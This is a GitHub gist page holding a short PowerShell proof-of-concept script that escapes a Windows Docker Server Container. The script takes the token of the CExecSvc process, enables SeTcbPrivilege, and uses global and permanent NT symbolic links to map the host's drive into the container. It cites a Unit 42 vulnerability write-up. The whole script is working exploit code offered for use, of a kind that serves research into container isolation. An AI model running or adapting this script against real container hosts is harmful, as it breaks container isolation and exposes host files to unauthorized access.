Skip to content

Instantly share code, notes, and snippets.

@clavoillotte
Forked from tyranid/map_host_drive.ps1
Created July 16, 2020 16:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save clavoillotte/5e28e4029a1ebd23188dd6e1b108435e to your computer and use it in GitHub Desktop.
Save clavoillotte/5e28e4029a1ebd23188dd6e1b108435e to your computer and use it in GitHub Desktop.
Param(
[Parameter(Mandatory, Position = 0)]
[string]$HostDrive,
[Parameter(Mandatory, Position = 1)]
[string]$LocalDrive
)
# Script to map a host drive inside a Windows Docker Server Container
# You need to be an admin in the container for this to work.
# Use as .\map_host_drive C: X:
# More information from @danie1zy https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/
Import-Module NtObjectManager -ErrorAction Ignore
$token = Get-NtTokenFromProcess -ProcessId (Get-Process "CExecSvc").Id
Set-NtTokenPrivilege -Privilege SeTcbPrivilege,SeCreatePermanentPrivilege -Token $token
# Get the host drive's device path.
$target = Use-NtObject($s = New-NtSymbolicLink "\??\ROOT" "" -Access Set) {
Invoke-NtToken -Token $token { $s.SetGlobalLink() }
Get-NtSymbolicLinkTarget "\??\ROOT\GLOBAL??\$HostDrive"
}
Write-Host "Host $HostDrive drive is $target"
# Map the host drive to the local drive.
Use-NtObject($s = New-NtSymbolicLink "\??\$LocalDrive" $target -Access Set) {
Invoke-NtToken -Token $token {
$s.SetGlobalLink()
$s.MakePermanent()
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment